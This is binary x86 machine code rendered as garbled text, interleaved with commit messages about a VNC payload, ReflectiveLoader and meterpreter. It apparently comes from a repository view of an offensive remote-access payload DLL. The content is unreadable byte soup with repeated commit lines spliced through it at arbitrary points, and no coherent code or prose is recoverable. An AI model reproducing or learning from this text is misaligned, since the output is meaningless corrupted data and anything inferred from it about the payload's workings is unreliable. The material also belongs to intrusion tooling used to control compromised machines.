;؉5°÷}9‹Mè‹Uø�<‹MÜ+ÉMÔ‰Eä9}ø}‹Ç+EøPÿuÐQèz§‹MÔƒÄ MÿMä‰MÔuÛÿEø‹}ÿEÜ9}øŒ�þÿÿ}ìC;]Œqþÿÿ‹EØ_^[ÉÃÈÿëöU‹ìƒì4SVW‹} ‹ð‹Ç¯EP3Û‰EÌjX‰]ä‰]ð‰]Üè/ýÿÿ9]Y‹M·ÀjZ‰EÐf‰‰°÷Ž¶‰uøƒeü…ÿŽ—‹Eø‰Eà‹Eø‹Mü·Hf;EЄj;]·È‹û‰MÔ�sÿÇE؉}è}d‹Eø‰Eôë‹MÔ‹Eü‹}ôf9 GuJ;E }
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
‹}ô@f9 Gtñ‹}èH;ûu‰Eä‰Eð;Eð}‰Eðƒ}Ø~;Eä|FëƒeØ‹E ÀEôG;}‰}è|©ë‹}è‹Eä+Eü+ó@F‰uØ‹uð+uü‹MØ+û¯ÈF‰}è¯þ;Ï~‰Eô‹EØë‹Eè‰uô‹M̉EèŠEüˆEìŠEôˆEîŠEèˆEï�BÉ;Áˆ]í�»;E�²‹Ef‹MÔÿEÜf‰ BBj�M쉰÷QÐRèC¡‹°÷‹EèƒÂ�4ƒÄ ;Þ‰°÷}G‹Eô‹MüÁ‰EØ‹Eà+ó‰Eè‰uÔ‹MØ9Mü}‹EÐ+Mü‹}è·ð‹ÆÁæ ÆÑéó«Éfó«‹E ÀEèÿMÔuÏÿEü‹} ƒEà9}üŒoþÿÿ�?EøC;]ŒMþÿÿ‹EÜ_^[ÉÃÈÿëöU‹ìƒì4SVW‹} ‹ð‹Ç¯EP3Û‰EÌj X‰]ä‰]ð‰]Üè"ûÿÿ9]Y‹MjZ‰EЉ‰°÷Žœ‰uøƒeü…ÿŽ{‹Eø‰Eà‹Eø‹Mü‹ ˆ‰MÔ;MЄM;]‹û�sÿÇE؉}è}b‰Eôë‹MÔ‹Eô‹}ü9 ¸uL‹Ç;E } ‹}ô@9 ‡tò‹}èH;ûu‰Eä‰Eð;Eð}‰Eðƒ}Ø~;Eä|FëƒeØ‹E ÁàEôG;}‰}è|¨ë‹}è‹Eä+Eü+ó@F‰uØ‹uð+uü‹MØ+û¯ÈF‰}è¯þ;Ï~‰Eô‹EØë‹Eè‰uô‹M̉EèŠEüˆEìŠEôˆEîŠEèˆEï�BÁá;Áˆ]í�§;E�ž‹E‹MÔÿE܉ ƒÂj�M쉰÷QÐRèAŸ‹°÷‹EèƒÂ�4ƒÄ ;Þ‰°÷}2‹Eô‹MüÁ‰EÔ‹Eà‰Eè+ó‹MÔ9Mü} +Mü‹EЋ}èó«‹E ÁàEèNuáÿEü‹} ƒEà9}üŒ‹þÿÿ‹ÇÁàEøC;]Œgþÿÿ‹EÜ_^[ÉÃÈÿëöU‹ìQ‹Ef‹S‹X+V‹u W‹ù‹H +Hf‰f‹Pf‰N‰Müf¶Nf‰Vf‹fÁâf Êf‹Vf‰f¶NfÁâf Êf‰Nf‰^f¶N‹ÓÁâf Ê‹Uüf‰Nf¶NÁâf Êf‰NÇF¶O ¯Mü¯ËÁé9OHsV‹GD…Àt Pè…¢ƒgDY¶G ¯Eü¯ÃÁè@Pèþ¢Y‰GD…Àuÿu‹ÏVÿuèÒé´¶G ¯Eü¯ÃÁè‰GH‹E‹PÿwD‹ÏÿuÿRŠG <t=<t< u¼‹GHƒèPÿuü�FSP‹GDèñüÿÿë‹GHƒèPÿuü�FSP‹GDèËúÿÿƒÄë‹GHƒèPÿuü�FSPÿwDèÆøÿÿƒÄ…ÀŒeÿÿÿ‹Ð‹øÁç¹ÿ#Ñ ×‹øÁÿÁâ#ùÁè × Ð¡°÷‰V ƒÀ_^[É V‹ñè3ǤV‹Æ^ÃǤVé_V‹t$W‹|$WVè}ÁîFÁïG¯÷_Æ^Â3À@ÂU‹ìQ‹E ‹US‰Müf‹
V‹r+2W‹z +zf‰f‹Jf‹f‰Hf¶HfÁãf Ëf‹Xf‰f¶HfÁãf Ëf‰Hf‰pf¶H‹ÞÁãf Ëf‰Hf‰xf¶H‹ßÁãf Ëf‰H‹MüÇ@ŠY €ût@€ût&€û t RPÿuè-ë@‹WVÿrƒÀ ÿ2PÿuÿS ë(‹WVÿrƒÀ ÿ2PÿuÿSë‹WVÿrƒÀ ÿ2PÿuÿSƒÀ _^[É U‹ìƒì(S3ÀV3Û9EW‰Eè‰Eì‰EÜÇEôŽn‰Uà9E ‰EøŽO‰Uä‹EøŠˆEÿ:E„#;]�KÿÇEØ‹ó}T‰Uð‹Uð‹}ø8:uF‹×;U }‹Uð8:uG;} |òO;óu‰}è‰}ì;}ì}‰}ìƒ}Ø~;}è|AëƒeØ‹U UðF;u|¯‹Eè+Eø+Ë@A‹ù‹Mì+Mø+óA‹×‰uدñ¯Ð;Ö~‰Eð‹×ë‹U؉Mðƒ}‹uôt�Fë‹EôƒÀ‹M ¯M;Á�¡ÿE܃}‹}uŠEÿˆ>FŠEøÀà
È>ŠEðFþÈÀàŠÊþÉ
Áˆ>FÓ;Ú‰uô}0‹Eð‹Mø‹}ä+Ó�4‰UØ9uø}‹Æ+EøPÿuWèŸƒÄ } ÿMØuáÿEø‹EøÿEä;E ‹UàŒ¶þÿÿ3ÀU C;]‰UàŒ•þÿÿ‹EŠM܈‹Eô_^[ÉÃ3Àë÷U‹ìQQSŠ] V‹ð3Ò3À@9U‰Uø‰UüŠU ‰‰~Jƒ}øuŠŠ:ÂuÿEøëƒ}üuƒ!ŠŠØ:ÃuÿEüÿMFƒ}Ïëƒ'‹Eü9Eø~ ‹E ˆ‹Eˆë
‹E ˆ‹Eˆ^[ÉÃU‹ìƒì,S3ÒV3Û9UW‰Uè‰Uì‰UàÇEôŽ¤‹M ‰Eø;ʉUüŽƒ‹Eø‰Eä‹}ü‹Eøÿ·8‰}Øf;E„O;]·Ð‰UÔ�KÿÇEÜ‹ó}`‹Eø‰Eðë‹}Ø‹Eðf98uL‹Eü‹ø;} }‹}ðf9Gu@;E |ñH;óu‰Eè‰Eì;Eì}‰Eìƒ}Ü~;Eè|AëƒeÜ‹E ÀEðF;u|¨‹Eè+Eü+Ë@A‹ù‹Mì+Mü+óA‹×‰uدñ¯Ð;Ö~‰Eð‹×ë‹U؉Mðƒ}‹uôt�Fë‹EôƒÀ‹M ¯MÉ;Á�·ÿEàƒ}‹}u ‹EÔˆ>Fˆ$>FŠEüÀà
È>ŠEðFþÈÀàŠÊþÉ
Áˆ>FÓ;Ú‰uô}D‹Eð‹Mü�4‹Eä+Ó‰Eð‰UÜ9uü}‹E‹}ð·Ð‹Î+Mü‹ÂÁâ ÂÑéó«Éfó«‹E ÀEðÿMÜuÐÿEü‹M ƒEä9MüŒ…þÿÿ3Ò� EøC;]Œbþÿÿ‹EŠMàˆ‹Eô_^[ÉÃ3Àë÷U‹ìQQV‹ð3Ò3À@9UW‹}‰Uø‰Uü‹U‰‰~Sƒ}øu·>·f;ÇuÿEøëƒ}üu ƒ!··Ðf;ÂuÿEüÿMFFƒ}Èëƒ#‹Eü9Eø~‹E f‰8‹Ef‰ë ‹E f‰‹Ef‰8_^ÉÃU‹ìƒì(S3ÒV3Û9UW‰Uè‰Uð‰UÜÇEôŽ”‹M ‰Eì;ʉUüŽq‹Eì‰Eà‹}ü‹UìÁç‹:‰}Ø;E„>;]‰Eø�KÿÇEä‹ó}Xë‹}Ø‹Eø9:uK‹Eü‹ø;} }‹}ø9<‚u@;E |òH;óu‰Eè‰Eð;Eð}‰Eðƒ}ä~;Eè|Aëƒeä‹E ÁàFÐ;u|ª‹Eè+Eü+Ë@A‹ù‹Mð+Mü+óA‹×‰uدñ¯Ð;Ö~‰Eä‹×ë‹U؉Mäƒ}‹uôt�Fë‹EôƒÀ‹M ¯MÁá;Á�²ÿE܃}‹}u‹Eøˆ>ŠEúFˆ$>Fˆ>ŠEûFˆ>FŠEüÀà
È>ŠEäFþÈÀàŠÊþÉ
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
Áˆ>FÓ;Ú‰uô}/‹Eä‹Mü�4‹Eà‰Eä+Ó9uü}
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
‹E‹}ä‹Î+Müó«‹E ÁàEäJuâÿEü‹M ƒEà9MüŒ—þÿÿ3Ò‹ÁÁàEìC;]Œrþÿÿ‹EŠM܈‹Eô_^[ÉÃ3Àë÷U‹ìQQV3ö3À@9uW‹}‰uø‰uü‹u‰‰~Lƒ}øu‹2‹;ÆuÿEøëƒ}üuƒ!‹‹ø;ÇuÿEüÿMƒÂƒ}Íëƒ#‹Eü9Eø~ ‹E ‰0‹E‰8ë
‹E ‰8‹E‰0_^ÉÃV‹ñè øÿÿöD$tVè
‹Y‹Æ^ÂU�¬$ÿÿÿ�ì`¡Dá3ʼn…ä‹…ð‰E¸‹…ô‰M¤‹�‰EÄ‹…ü�S3Û;‰]¼‰]ЉE؉U˜�’‹…‹•øVÐW‰U¬‰MÌ‹…ø;E¬‰EÔ�T‹�‰MÈë‹EÔ‹UÈjY;щMÀ‰MÜ}‰UÜ‹UÌ;Ñ}‰UÀ‹UÜ‹MØ‹}ÀЉU��UˆR‰Eˆ��Uä‰MŒ‹M¤Rÿu¸‰E”‹ÿP‹EÄ�4‹Ç¯EÜ�MãQ�MáQ‰E´PC�M �}¨�EäƉ]œè¹ùÿÿŠEá3ÉƒÄ 9M¼t:E°t€‹}ĈÇE¼ˆE°Cë‹}Ä9M …‡€Š9M¨t!9MЊMãt:Mât ˆˆ ÇEЈMâCë ‰MЈÿu¨�ÿu°�UäÿuÀÿuÜPè“÷ÿÿƒÄØ…Àu4‹M¤!E¼!EЋ]œ�UˆR�UäRÿu¸Æ‹ÿPÿu´�EäPûWè\“ƒÄ ]´ƒEÔ‹EÔƒmÈ;E¬Œ·þÿÿƒEØ‹E؃mÌ;E˜Œ†þÿÿ_^‹�ä‹Ã3Í[è=ˆ�ÅèÉÂU�¬$üÿÿ�ìh¡Dá3ʼn…ä‹…ð‰E¸‹…ô‰M¼‹�‰EЋ…ü�V3ö;‰uĉuÔ‰E܉Uœ�ª‹…ø‹•SÂW‰E´‰MÈ‹…ø;E´‰Eà�l‹�‰MÌë‹Eà‹UÌjY;щMÀ‰MØ}‰UØ‹UÈ;Ñ}‰UÀ‹UØ‹MÜ‹]ÀЉUˆ�U€R‰E€� �Uä‰M„‹M¼Rÿu¸‰EŒ‹ÿP‹EÐ�<0‹Ã¯EØ�M¨Q�M Q‰E¤PF�M”�]¬�EäƉu˜èúÿÿ‹E 3ÉƒÄ 9MÄtf;E°t €‹]Ј3·ÐFÁèˆ3ÇEĉU°Fë‹]Ð9M”…”€Š9M¬t,9MÔ‹M¨tf;M�t% ˆˆ 3·ÑFÁéˆ 3ÇEÔ‰U�Fë ‰MÔˆÿu¬�3ÿu°ÿuÀÿuØP�Eäèž÷ÿÿƒÄð…Àu6‹M¼!EÄ!EÔ‹u˜�U€R�UäRÿu¸Æ‹ÿP‹}¤ÿW�EäPÞSèA‘ƒÄ ÷ƒEà‹EàƒmÌ;E´ŒŸþÿÿƒEÜ‹E܃mÈ;EœŒnþÿÿ_[‹�ä‹Æ3Í^è#†�ÅèÉÂU‹ì¸Tè{º‹E‰Mà‹M�V3ö;‰uô‰uü‰Eø‰UÄ�΋E‹USÐW‹} ‰Uè‰Mì‹E;Eè‰E�–‹M‰Mðë‹E‹UðjY;щM ‰M}‰U‹Uì;Ñ}‰U ‹U‹Mø‹] ЉU´�U¬R‰E¬� �•¬ïÿÿ‰M°‹MàRÿu‰E¸‹ÿP�>‰EØƋïE�MÔQ�MÈQFP�MÀ�]Ü�•¬ïÿÿ‰uЉEÌèsúÿÿ‹EÈ3ÉƒÄ 9Môt;Eät/‹]Ø€ ˆ>F‹ÐÁêˆ>‹ÐFÁêˆ>‰EäFÁèˆ>ÇEôFë‹]Ø9MÀ…­€ Š9MÜt:9Mü‹MÔt;M¼t4 ˆˆ >F‹ÁÁèˆ>‹ÁFÁèˆ>‰M¼FÁéˆ >ÇEüFë ‰MüˆÿuÜ�>ÿuäÿu ÿuP�…¬ïÿÿèò÷ÿÿƒÄð…Àu>‹Mà!Eô!Eü‹uÐ�U¬R�•¬ïÿÿRÿuÆ‹ÿP‹]ÌÁãS�…¬ïÿÿP�>Pè)�ƒÄ óƒE‹Eƒmð;EèŒrþÿÿƒEø‹Eøƒmì;EÄŒGþÿÿ_[‹Æ^ÉÂVW‹ñj3ÿ�F WPÇÜVè[“j�FWPèO“j�F0WPèC“ƒÄ$‰~‰~ ‰~@_‹Æ^ÃV‹ñ‹FÇÜV…Àt P莃fY‹F …Àt Pèñ�ƒf Y^öA ¯D$¯D$ÁèƒÀ ÂU‹ì‹E‹S‹X VW‹x‹@‰U+E‹Q@+ßSP�qR¯×ÿu Áè¯EEÐR�A0PVÿqÿQƒÄ _^[] ‹D$V‹t$W‹ùf‹f‰f‹Nf‹f‰Hf‹Nf+fÁâf‰Hf‹N f+Nƒ`f‰Hf¶Hf Êf‹Pf‰f¶HfÁâf Êf‹Pf‰Hf¶HfÁâf Êf‹Pf‰Hf¶HfÁâf Êf‰H‹VƒÀ Pÿt$‹ÏÿR‹F+¶O ¯Á‹N +N_¯Á™ƒâÂÁøƒÀ ^ U‹ìQQVW�Q0�q ‹ú¥¥¥¥Š<t<t < t3ÀéZ�qSŠ‰uøˆ]ÿ€ût
€ût€û uzŠY3„Ûu<uoŠA„Àu€}ÿub€y3u!„Àu Š8Eÿ„²ŠA„ÀtF¾ÈV‹ú¥¥¥¥„Àu>¶uÿÁîköÁèð‹4µôÚRÿuø‰q�qVÿ…ÜÚ3ÀƒÄ 9éÁ3À齊Eÿ8ucŠA1:Au[ŠA3:AuSŠY2:Yt€:uF„Àt6f‹A4f;Au8f‹A6f;Au.f‹A8f;Au$ŠA::AuŠA;:AuŠA<:Au 3ÀÇA
O@ëS‹}øŠRÁèW€ûu‹4…Û‰q�qVÿ…ÐÚë ¶óÁîköð‹4µÛ‰q�qVÿ…èÚ3ÀƒÄ 9•À[_^ÉÃV‹t$¯D$ ™WƒâÂÁø‰A@�y¥¥¥¥èTþÿÿ_^ V‹t$W�y ¥¥¥¥è=þÿÿ_^ÂV‹ñèáüÿÿöD$tVèx�Y‹Æ^ÂU‹ìƒìV‹ñ€~uèþÿÿ…Àu3Àé€~#uó€~SW�^ „¦ŠN0‹3ÿGÓç‰}ø…ÀtP蛊Y‹ÇÁàPèʼnY‰…À„¹ƒeü…ÿŽ­�xŠN<·V8‹EüÓø·N8#ÂiÀÿ™÷ùˆGÿŠN:‹Eü·V4Óø·N4#ÂiÀÿ™÷ùˆGŠN;‹Eü·V6Óø·N6#ÂiÀÿ™÷ùÿEüˆ‹EüƒÇ;Eø|™ëA¸ÿ‹Èf‰Eì�EèPƒÆVSÆEëÆEè ÆEéÆEêf‰Mðf‰MîÆEòÆEóÆEôÿäÚƒÄ ‹…Ûu3Àë‹E ÁàPSÿuèJŠ3ÀƒÄ @_[^ÉÂV‹ñèBûÿÿƒfDƒfHÇøV‹Æ^ÃV‹ñ‹FDÇøV…Àt PètŽƒfDY‹Î^éNûÿÿéxûÿÿU‹ìQS3Û‰]üƒøt1ƒøu·ëgƒø u‹ë^PhˆVè›±ƒÀ@Pèv°ƒÄ jèã¯Wº3À‹Ê¿¸÷ó«3É9M_~$1;Â}"�…¸÷ÿ‹;Eü~Š1‰EüA;M|ܶÃ[ÉÃPh|Vh`Vè5±ƒÀ@Pè°ƒÄë˜V‹ñè/ÿÿÿöD$tVè7Y‹Æ^ÂU‹ìƒì8S‹Ø‹E ¯EVWP‰EÐj3ÿX‹ó‰}àèÿÿÿ3öY‹MF9}ˆEÔˆ‰5¸ûŽÏ‰]ø3Û9] ‰]쎮‹Eø‰Eä‹EøŠˆEÿ:EÔ„†;}‹×�OÿÇE܉Uô}`‹Uø‰Uðë ŠEÿ‹]ì‹Uð8t ‹UôëE8uC;] |õ‹UôK;×u‰]؉]è;]è}‰]èƒ}Ü~;]Ø|AëƒeÜ‹E EðB;U‰Uô|«‹]ì‹EØ+Ã+Ï@A‰MÜ‹Mè+Ë‹]Ü+ׯØA‰Uô¯Ñ;Ú~‰Eð‹EÜë‹Eô‰Mð‹]ì‰Eô¸ÿ‹ËÁù#È‹ÓÁâ Êf‰MÈ‹ÏÁù#È‹×Áâ Ê‹Uðf‰MÊ‹MðÁù#ÈÁâ Êf‰MÌ‹MôÁù#È‹EôÁà È�F ;EÐf‰MÎ�¥;E�œ‹EŠMÿÿEàˆ Fj�Mȉ5¸ûQðV袇‹5¸û‹EôƒÆÇƒÄ ;ø‰5¸û}8‹MðˉMÜ‹Mä+ljMì‰Eð;]Ü}‹EÜ+ÃPÿuÔQèà‹‹MìƒÄ M ÿMð‰MìuÛCÿEä;] ‰]ìŒXþÿÿ‹E EøG;}Œ4þÿÿ‹Eà_^[ÉÃÈÿëöU‹ìƒì8ƒeäS‹] VW‹ø‹Ã¯EP‰EÐjX‹÷èýÿÿY‹M·Àj3ö9uZ‰EÔf‰‰¸ûŽî‰}øƒeü…ÛŽÏ‹Eø‰Eè‹Eø‹Mü·Hf;EÔ„¢;u·Ø‹þ‰]Ø�NÿÇEà‰}ð}f‹Eø‰Eôë‹]Ø‹Eü‹}ôf9GuLë
‹}ôf9Gu@;E |ñ‹}ðH;þu‰E܉Eì;Eì}‰Eìƒ}à~;EÜ|Aëƒeà‹E ÀEôG;}‰}ð|§ë‹}ð‹EÜ+Eü+Î@A‰Mà‹Mì+Mü‹]à+þ¯ØA‰}ð¯ù;ß~‹}à‰Eôë‹}ð‰Mô‹Mü‹]üÁù¸ÿ#ÈÁã Ëf‰MÈ‹ÎÁù#È‹ÞÁã Ë‹]ôf‰MÊ‹MôÁù#ÈÁã Ëf‰MÌ‹ÏÁù#È‹ÇÁà Èf‰M΋MÐ�B
É;Á�¸;E�¯‹Ef‹MØÿEäf‰ BBj�Mȉ¸ûQÐRèp…‹¸ûƒÂ�7ƒÄ ;ð‰¸û}G‹Mô‹}üωMà‹Mè+ƉMð‰EØ‹Mà9Mü}‹EÔ+Mü‹}ð·Ø‹ÃÁã ÃÑéó«Éfó«‹E ÀEðÿMØuÏÿEü‹] ƒEè9]üŒ7þÿÿ�EøF;uŒþÿÿ‹Eä_^[ÉÃÈÿëöU‹ìƒì<SVW‹} ‹ð‹Ç¯EP‰EÌj 3ÛX‰]àèÀúÿÿ9]Y‹MjZ‰EÔ‰‰¸û‰]øŽÕ‰uô»ÿƒeü…ÿŽª‹Eô‰Eä‹Eô‹Mü‹ˆ‰Eè;EÔ„|‹uø;u�NÿÇEð}\‹}ô‹Eü‹]è9‡uI‹Ø;] }‹]è9‡u@;E |òH;uøu‰E܉Eì;Eì}‰Eìƒ}ð~;EÜ|Aëƒeð‹E ÁàFø;u|¬»ÿ+Mø‹EÜ+Eü+uø@A‰MØ‹Mì+Mü‹}ØA¯ø‰uЯñ;þ~‹u؉Eðë‹uЉMð‹Eü‹Mü‹}øÁø#ÃÁá Áf‰EÄ‹ÇÁø#ËÏÁá Á‹Mðf‰EÆ‹EðÁø#ÃÁá Áf‰EÈ‹ÆÁø#ËÎÁá Á‹MÌf‰EÊ�B Áá;Á�ª;E�¡‹E‹MèÿEà‰ ƒÂj�Mĉ¸ûQÐRè>ƒ‹¸ûƒÂ�>ƒÄ ;ø‰¸û}3‹Mð‹uüñ‹Mä+ljMè‰EØ9uü}
‹EÔ‹}è‹Î+Müó«‹E ÁàEèÿMØuàÿEü‹} ƒEä9}üŒ\þÿÿÿEø‹ÇÁàEô‹Eø;EŒ3þÿÿ‹Eà_^[ÉÃÈÿëöU‹ìQ‹Ef‹S‹X+V‹u W‹ù‹H +Hf‰f‹Pf‰N‰Müf¶Nf‰Vf‹fÁâf Êf‹Vf‰f¶NfÁâf Êf‰Nf‰^f¶N‹ÓÁâf Ê‹Uüf‰Nf¶NÁâf Êf‰NÇF¶O ¯Mü¯ËÁé9OHsV‹GD…Àt P膃gDY¶G ¯Eü¯ÃÁè@Pèø†Y‰GD…Àuÿu‹ÏVÿuèÌóÿÿ鼶G ¯Eü¯ÃÁè‰GH‹E‹PÿwD‹ÏÿuÿRŠG <t:<t< u¼‹GHƒèPÿuü�FSP‹GDè»üÿÿë0‹GHƒèPÿuü�FSP‹GDè`úÿÿë‹GHƒèPÿuü�FSP‹GDè+øÿÿƒÄ…ÀŒhÿÿÿ¹ÿ‹Ð#Ñ‹ØÁã Ó‹ØÁû#ÙÁâ‹ÈÁé Ó Ñ‰V ¶O Áé�Q¯Ð�D
_^[É ÇTWËD$‹QSV‹qW‹|$‹ß¯ØÚ;Þv�:;Þv ‹PWÿRë‹Æ+™÷ÿ_^[ÂVjj‹ñè»ÿÿÿ‹FŠL$ˆÿF^ÂU‹ì‹EV‹ñ‹M W�<‰E;Çs-S‹Ç+E‹ÎPjè„ÿÿÿ‹ØSÿuÿvè�€]^ƒÄ 9}rÕ[_^]ÂVjj‹ñèUÿÿÿf‹L$�F‹ˆ
ÿ‹ˆ*ÿ^ÂVjj‹ñè1ÿÿÿ‹N‹D$ˆÿF‹Nˆ!ÿF‹FŠL$
ˆÿF‹FŠL$ ˆÿF^ÂVjj‹ñèõþÿÿ‹N‹D$ˆÿF‹Nˆ!ÿF‹FŠL$
ˆÿF^ÂVjj‹ñèÅþÿÿ‹FŠL$ ˆÿF‹FŠL$
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
ˆÿF‹FŠL$ ˆÿF^ÂöD$V‹ñÇTWtVè’uY‹Æ^Âj¸þCè½t‹ñ‰uð‹}ƒeüWÇlWèo„‰F‰F ljFY‹Æè1uÂV‹ñÿv ÇlW赃YÇTW^ÃVW‹|$jW‹ñèþÿÿWÿt$ÿvè(~ƒÄ _^‹A+A ÃSVW‹|$¯|$‹ñ‹N ‹F+ù~+ÁÀ;ø}‹øWè烋N‹Ø‹F +ÈQPSèÛ~‹F ‹Ë+ÈNPè2ƒ‹D$(ƒÄ‰^ ß_‰^^[ÂV‹ñèOÿÿÿöD$tVè“tY‹Æ^ÂV‹ñh�†ühÿP胃¦xTƒÄ ‹Æ^ùxTVW}W‹|$ ‹ÇÁè3Ç%ÿ€¼üÿt�”�|9:t@ƒÂ€¼üÿuî�´ü€>ÿuŠ‘xTˆ‰¼�|‹�xT‰<�ÿ�xT_^ÂV‹t$‹ÆÁè3Æ%ÿ€¼üÿt�”�|92t@ƒÂ€¼üÿuü^<ÿt¶ÀëƒÈÿÂU�¬$ä«ÿÿ¸˜Tè9§¡Dá3ʼn…T‹…0TSV‹µ(TW‹½$T�Mœ‰}Œ‰u„‰E”èÜþÿÿ¯µ,T‹Ï�ŠPÿ3ÛöÒ‰]ˆ‰E�ˆ;Ès#ŠG8tÿEˆëG8tûC¶ÀP�MœèÆþÿÿ;}�rÝ‹�TƒùuQ‹M”è@üÿÿÿuœ‹M”è5üÿÿé ‹Uˆ�‹þÀ;ÇÆEšÆE›}ÆEš‹ø�ù€}G�YÂ;Ç}
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
ÆEšÆE›‹øƒù})‹� W¯E„¯…,T™ƒâÂÁøÁ;Ç}ÆEšÆE›€}›u3ɉ�T€}š‹}””ÀþÈ$€
Á¶ÀP‹Ïè¢ûÿÿ3Û9�T~¶D�œP‹Ïè‹ûÿÿC;�T|ê€}š„·‹]Œ;]�ƒEë‹}”Š‹ËˆE„ë;]�sC8tö‹ó+ñƒþ%€}›t9¶ÀP�Mœèþÿÿ‹øƒþu ‹M”Wè)ûÿÿWëO€}›t¶ÀP�Mœèîýÿÿ €¶ÀPëÿu„‹ÏèûÿÿN¹ÿ;ñ| ‹Æ3Ò÷ñ‹øiÀÿÿÿð‹M”hÿèÛúÿÿOuðV‹M”èÏúÿÿ;]�‚\ÿÿÿ隀}›„…‹…T‹… W‹uŒ‰E�‹…,T…À~s‰Eˆ‹E„�<02ÛÆE›;÷sNŠ¶ÀP�MœFèRýÿÿ‹M�M›Òã
Ø€}›ˆ]ŒrÿuŒ‹M”èZúÿÿÆE›;÷rË€}›v±*M›Òã‹M”¶ÃPè9úÿÿÿMˆu�ë ‹VÿuŒ‹ÏÿP‹�T_^3Í[èp�ÅTÉÃU�¬$ä«ÿÿ¸˜Tèm¤¡Dá3ʼn…T‹…0TS‹�$TVW�Mœ‰E”èüÿÿ‹µ(T¯µ,Tƒe�ƒeŒö�f‹Hþf÷Ñ‹û‰Eˆf‰;Øs*·GGf9tÿEŒë
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
GGf9tùÿE�·ÀP�Mœèñûÿÿ;}ˆrÖ‹�TƒùuQ‹M”èkùÿÿÿuœ‹M”èÆùÿÿé‹EŒ‹U�ÂkÀ‹þ;ÇÆEšÆE›}ÆEš‹ø�ù€}O�‹UŒ�B;Ç}
ÆEšÆE›‹øƒù}-‹� W¯…(T¯…,T™ƒâÂÁø�H;Ç}ÆEšÆE›€}›u3ɉ�T€}š”ÀþÈ$€
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
Á‹M”¶ÀPèÄøÿÿ3ÿ9½T~·D½œ‹M”PèùÿÿG;½T|é€}š…H€}›„I‹…T‹… W‰EŒ‹…,T‹ó…ÀŽ3‹�(TɉMˆ‰E�‹Eˆ�<02ÛÆE›;÷sP··ÀFP�MœFèûÿÿ‹MŒM›Òã
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
Ø€}›ˆ]„rÿu„‹M”è"øÿÿÆE›;÷rÉ€}›v±*M›Òã‹M”¶ÃPèøÿÿÿM�u›é»·j‹Ë_ë;]ˆsßf9tô‹ó+ñÑþ;÷'€}›tC·ÀP�MœèŸúÿÿ‰E�;÷u ‹M”Pèµ÷ÿÿÿu�ëW€}›t·ÀP�Mœèxúÿÿ‹M” €¶ÀPè�÷ÿÿë ‹M”Pèë÷ÿÿN¿ÿ;÷|!‹Æ3Ò‹Ï÷ñ‰E�iÀÿÿÿð‹M”Wè_÷ÿÿÿM�uòV‹M”èQ÷ÿÿ;]ˆ‚Qÿÿÿë
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
‹M”‹VSÿP‹�T_^3Í[è-m�ÅTÉÃU�¬$ä«ÿÿ¸˜Tè‚¡¡Dá3ʼn…T‹…0TSV‹µ$TW�Mœ‰E”è1ùÿÿ‹�(T¯�,TÁá�1‹Pü3Û÷Ò‰]Œ‹þ‰Mˆ‰E�‰;ðs'‹ƒÇ9tÿEŒëƒÇ9tùCP�Mœèùÿÿ;}�rÜ‹Mˆ‹•Tƒúu‹M”Rè…öÿÿÿuœ‹M”è÷ÿÿé‹ù‹MŒ�kÀ;ÇÆEšÆE›}ÆEš‹ø�ú€}O�S�A;Ç}
Switch the DLLs for vnc/meterp to Stephen Fewer's reflective versions, check in the reflectve_meterpreter source code project
2008-11-04 20:08:24 +00:00
ÆEšÆE›‹øƒú}0‹ÊÁá‹� W¯…(T¯…,T™ƒâÂÁøÁ;Ç}ÆEšÆE›€}›uƒ¥T€}š‹]””ÀþÈ$€
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
…T‹Ë¶ÀPèÛõÿÿ3ÿ9½T~ÿt½œ‹ËèPöÿÿG;½T|ì€}š„·‹þ;u�ƒNë‹]”‹‹Ïë;}�sƒÇ9tô‹÷+ñÁþƒþ"€}›t:P�MœèPøÿÿ‹Øƒþu ‹M”SèfõÿÿSëQ€}›tP�Mœè.øÿÿ €¶ÀP‹ËèGõÿÿëP‹ËèÇõÿÿN¹ÿ;ñ| ‹Æ3Ò÷ñ‹ØiÀÿÿÿð‹M”hÿèõÿÿKuðV‹M”è
õÿÿ;}�‚[ÿÿÿ颀}›„�‹…T‹… W‰E�‹…,T…À~~‹�(TÁá‰Mˆ‰EŒ‹Eˆ�<02ÛÆE›;÷sM‹P�MœƒÆè…÷ÿÿ‹M�M›Òã
Ø€}›ˆ]„rÿu„‹M”è�ôÿÿÆE›;÷rÌ€}›v±*M›Òã‹M”¶ÃPèlôÿÿÿMŒužë ÿuˆ‹V‹ËÿP‹�T_^3Í[èKj�ÅTÉÃU�¬$ä«ÿÿ¸˜Tè ž¡Dá3ʼn…T‹…0TS‹�$TVW�Mœ‰E”èOöÿÿ‹µ(T¯µ,TƒeŒƒeˆ�³‹Hü÷Ñ‹û‰E�‰;Øs&‹ƒÇ9tÿEˆë
Shiny new version of the vnc payload, fixes #176
2008-01-26 22:17:11 +00:00
ƒÇ9tùÿEŒP�Mœè-öÿÿ;}�rÚ‹�TƒùuQ‹M”è§óÿÿÿuœ‹M”èbôÿÿé!‹}ˆkö‹UŒ�Áà;ÆÆEšÆE›}ÆEš‹ð�ù€}SkÉ�QÇ;Æ}
First commit! update vnc server with the new exitfunk hash values as well as modify ReflectiveLoader to retrieve kernel32 base address dynamically ala its meterpreter counterpart.
2009-08-31 10:28:26 +00:00
